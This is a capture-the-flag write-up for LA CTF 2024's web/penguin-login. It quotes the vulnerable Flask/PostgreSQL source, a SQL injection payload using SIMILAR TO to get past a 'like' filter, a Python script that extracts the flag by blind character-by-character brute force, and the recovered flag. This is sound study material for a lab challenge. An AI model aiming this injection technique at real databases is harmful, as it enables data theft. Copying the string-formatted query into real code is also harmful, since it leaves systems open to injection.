u.twoha.cc/ctf/lactf/web_penguin_login.md
2024-09-13 19:49:18 -05:00

5.4 KiB

title date tags
LA CTF 2024: web/penguin-login 2024-02-21
ctf
ctf-web
sql

Task

web/penguin-login

I got tired of people leaking my password from the db so I moved it out of the db. penguin.chall.lac.tf

penguin-login.zip

  • Author: r2uwu2
  • Points: 392
  • Solves: 182 / 1074 (16.946%)

Writeup

The listed website presents us with a page consisting of a single text box, with a tiled GIF of a baby penguin as the background.

The source code shows us that our input must only consist of certain characters and cannot contain the word "like".

allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
forbidden_strs = ["like"]
...
username = request.form["username"]
conn = get_database_connection()
assert all(c in allowed_chars for c in username), "no character for u uwu"
assert all(
    forbidden not in username.lower() for forbidden in forbidden_strs
), "no word for u uwu"

If our input passes these checks, it is used in an PostgreSQL query. However, the only information we get back is whether the query had a match or not.

with conn.cursor() as curr:
    curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
    result = curr.fetchall()

if len(result):
    return "We found a penguin!!!!!", 200
return "No penguins sadg", 201

Additionally, the only data in the database is as follows:

curr.execute("INSERT INTO penguins (name) VALUES ('peng')")
curr.execute("INSERT INTO penguins (name) VALUES ('emperor')")
curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))

We need find a way to select the flag without knowing it exactly. One way we could do this is with SQL's LIKE operator, which lets us match a string with % representing any number of characters and _ representing a single character. The program will not allow the word LIKE to appear in our input though, so we need to find something else.

Instead, we can use PostgreSQL's SIMILAR TO which also lets us use % and _ in the same way. The valid character set only contains _ though, so our input will look something like this:

' OR name SIMILAR TO '_

This will make the executed query:

SELECT * FROM penguins WHERE name = '' OR name SIMILAR TO '_'

To determine the length of the flag, we can send variations of this input with different numbers of _s until we get a match, ignoring lengths of 4 and 7, as we know peng and emperor are in the database.

We find that the flag contains 45 characters. Now, we can write a script to brute force each possible character in each position, one at a time:

import requests
import string

name = list('lactf________________________________________')
# '{' and '}' also have a special meaning with SIMILAR TO, so we will omit using them
# we know where '{' and '}' will appear in the flag anyways
chars = list(set(string.ascii_letters + string.digits + " 'flag{a_word}'") - {'_', '{', '}'})

for i in range(6, len(name)):
    print(''.join(name))
    for c in chars:
        name[i] = c
        req = requests.post('https://penguin.chall.lac.tf/submit', {
            'username': f"' or name similar to '{''.join(name)}"
        })
        if req.status_code == 200:
            break
    else:
        # nothing worked, revert this char back to a literal '_'
        name[i] = '_'

Running this script will take a while, but will eventually produce the following output:

lactf________________________________________
lactf_9______________________________________
lactf_90_____________________________________
lactf_90s____________________________________
lactf_90st___________________________________
lactf_90stg__________________________________
lactf_90stgr_________________________________
lactf_90stgr3________________________________
lactf_90stgr35_______________________________
lactf_90stgr35_______________________________
lactf_90stgr35_3_____________________________
lactf_90stgr35_3s____________________________
lactf_90stgr35_3s____________________________
lactf_90stgr35_3s_n__________________________
lactf_90stgr35_3s_n0_________________________
lactf_90stgr35_3s_n0t________________________
lactf_90stgr35_3s_n0t________________________
lactf_90stgr35_3s_n0t_l______________________
lactf_90stgr35_3s_n0t_l7_____________________
lactf_90stgr35_3s_n0t_l7k____________________
lactf_90stgr35_3s_n0t_l7k3___________________
lactf_90stgr35_3s_n0t_l7k3___________________
lactf_90stgr35_3s_n0t_l7k3_t_________________
lactf_90stgr35_3s_n0t_l7k3_th________________
lactf_90stgr35_3s_n0t_l7k3_th3_______________
lactf_90stgr35_3s_n0t_l7k3_th3_______________
lactf_90stgr35_3s_n0t_l7k3_th3_0_____________
lactf_90stgr35_3s_n0t_l7k3_th3_0t____________
lactf_90stgr35_3s_n0t_l7k3_th3_0th___________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3__________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_d_______
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_db______
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0___
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w__
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_

Thus, the correct flag is lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}.

Reference